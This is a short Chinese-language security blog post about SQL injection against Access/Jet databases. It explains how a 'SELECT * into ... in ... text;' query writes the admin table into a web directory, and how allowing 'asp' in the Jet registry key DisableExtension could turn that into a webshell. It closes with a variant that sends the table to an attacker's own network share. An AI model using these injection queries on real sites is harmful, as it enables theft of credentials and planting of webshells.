by:lake2

已经听N个人过说有人已经发现SQL注入Access得到webshell的技术了,也只是听说而已,具体的细节还是不得而知。

最近在看的书中一章提到Jet的安全,然后灵光一闪,呵呵,发现了一种可以利用access导出asp的方法,分享之。

几个月之前网上就流传利用SQL注入Access导出数据库内容到文本文件(可导出txt、htm、html等格式)的方法:

SELECT * into [test.txt] in 'd:\web\' 'text;' from admin

执行上述语句,在d:\web目录下就会生成test.txt文件,其内容就是表admin的内容。但是导出asp格式就不行,会说“不能更新,数据库或对象为只读”。

其实控制导出文件后缀是存储在注册表的,具体键值是HKEY_LOCALMACHINE\Software\Microsoft\Jet\4.0\Engines\Text\DisableExtension,默认情况下值为“!txt,csv,tab,asc,tmp,htm,html”,如果我们把asp也添加进去的话,呵呵,就可以导出asp格式的文件了。

这个方法跟那个调用Access的Shell函数执行命令一样,要修改注册表,所以利用不是很大。

顺便提一下,前面提到的导出文本文件的方法如果不知道web路径貌似可以导出到自己机器的哦:SELECT * into [test.txt] in '\\yourip\share' 'text;' from admin